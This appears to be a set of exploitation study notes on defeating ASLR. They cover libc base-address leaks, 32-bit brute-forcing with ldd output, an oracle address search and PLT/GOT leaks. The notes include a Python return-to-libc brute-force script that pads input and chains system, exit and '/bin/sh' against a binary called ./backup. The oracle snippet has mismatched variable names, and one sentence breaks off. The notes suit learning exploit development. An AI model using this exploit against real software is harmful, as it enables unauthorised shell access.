Link to this headingAddress Space layout Randomization (ASLR)

Makes it harder for an attacker to guess the address of the executable, stack, and loaded libs.

This can be bypassed if there is an Info Leak that discloses some value absolute address from the stack, executable or the loaded libs. This Info Leak must be the same source you use your gadgets from.

Getting the Base Address:

infoleak = 0xf7cf4467 #This is the Info Leak for a element from the stack that is located in libc libc_base = infoleak - 0x467 #This is the offset that is learned from doing a strings of the libc version # This is your base address which can be used for gadgets

Forked processes have the same offset as the parent. This means a leak of a forked process will get the information of the main process

Link to this headingBrute forcing

Link to this heading32-Bit

Brute-forcing is possible since there is only 3 bytes of random so 4095 random positions.

$ while true; do ldd ./backup; done | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)

Example Script Bruteforcing 32bit ASLR:

from subprocess import call from struct import pack key= "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474" junk = "A"*512 #junk padding libc = 0xf7dc5000 #libc base address. Take any from ldd ./backup. system = pack("I",libc+0x3c7d0) #system offset added to libc base and convert to little Endian exit = pack("I",libc+0x2fb10) #exit offset added to libc base sh = pack("I",libc+0x17888a) #/bin/sh offset added to libc base payload = junk + system + exit + sh #final payload for i in range(512): #for loop to execute 512 times print(i) #counter ret=call(["./backup","aaa",key,payload]) #call ./backup with proper arguments if (not ret): #break on successful exploit print "**************" break else: print "Exploit failed !"

Link to this heading64-Bit

ASLR Brute-forcing not feasible on 64 bit systems

ASLR 48-bits of random

while true; do ldd a.out; done | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007f468dad5000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f3eaa737000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fe83de5b000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f53873d6000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fbcaf271000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fa1f384d000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f2e9a9b0000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f86c9187000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f84f36e5000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f6df67fb000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f60cdb7c000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f512abd8000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fa0ee5f8000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fad3c2fb000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f6b025f8000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f7a3ad69000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f1a14e88000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffa5ee6e000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ff65a6ba000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fdeff4fb000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fbef70e3000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ff374a8f000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fa838a5e000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f6214f8f000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f5b3b44f000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f284a48b000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f78963d6000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f9e1c896000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f1e82fff000)

Link to this headingOracle

  • When there is a large executable it is possible to bypass ASLR through bruteforcing.
start_address = 0x180000000 end_address = 0x280000000 step = 1024 * 1024 * 1024 # 1 GB for addr in range(start, end, step): if address_is_mapped(addr): return binary_search(addr - step, addr, address_is_mapped)

Link to this headingReturn to Procedural Linkage Table

If the PLT has a function that is from another module it can be used to leak an address in that library.

Steps to call function in another library:

  1. Make a Call to the function in the PLT.
    • This will write the address of the function to the processes GOT
  2. Dereference the pointer in the GOT.
    • This will be the function in that library.
  3. Use an offset from this address to call another function in that library

But the PIC can be bypassed if the function you want to call is in the binary its self. You can use the executable part of the binary that calls that function to

Link to this headingASLR Bypass

  • ASLR is always bypassable when the writable region is larger than the slide.
    • This is done through bruteforcing.